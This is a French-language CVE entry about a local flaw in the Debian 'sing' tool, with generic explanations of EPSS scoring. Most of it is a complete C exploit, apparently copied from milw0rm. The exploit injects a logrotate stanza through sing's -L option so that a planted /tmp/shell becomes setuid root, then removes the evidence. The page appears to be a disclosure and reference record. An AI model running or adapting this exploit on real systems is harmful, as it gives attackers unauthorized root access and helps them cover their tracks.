Descriptions du CVE

Send ICMP Nasty Garbage (sing) on Debian GNU/Linux allows local users to append to arbitrary files and gain privileges via the -L (output log file) option. NOTE: this issue is only a vulnerability in limited environments, since sing is not installed setuid, and the administrator would need to override a non-setuid default during installation.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* sing file append exploit by bannedit 12/05/2007 The original reporter of this issue included an example session which added an account to the machine. The method for this exploit is slightly different and much more quiet. Although it relies upon logrotate for help. This could easily be modified to work with cron daemons which are not too strict about the cron file format. However, when I tested vixie cron it appears that there are better checks for file format compilance these days. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define SING_PATH "/usr/bin/sing" char *file = "/etc/logrotate.d/sing"; char *evilname = "\n/tmp/sing {\n daily\n size=0\n firstaction\n chown root /tmp/shell; chmod 4755 /tmp/shell; rm -f /etc/logrotate.d/sing; rm -f /tmp/sing*\n endscript\n}\n\n\n"; int main() { FILE *fp; int pid; puts("sing file append exploit"); puts("------------------------"); puts("by bannedit"); if(fp = fopen("/tmp/shell", "w+")) { fputs("#!/bin/bash\n", fp); fputs("/bin/bash -p", fp); fclose(fp); system("touch /tmp/sing; echo garbage >> /tmp/sing"); } else { puts("error making shell file"); exit(-1); } sleep(5); printf("done sleeping...\n"); execl(SING_PATH, evilname, "-Q", "-c", "1", "-L", file, "localhost", 0); return 0; } // milw0rm.com [2007-12-06]
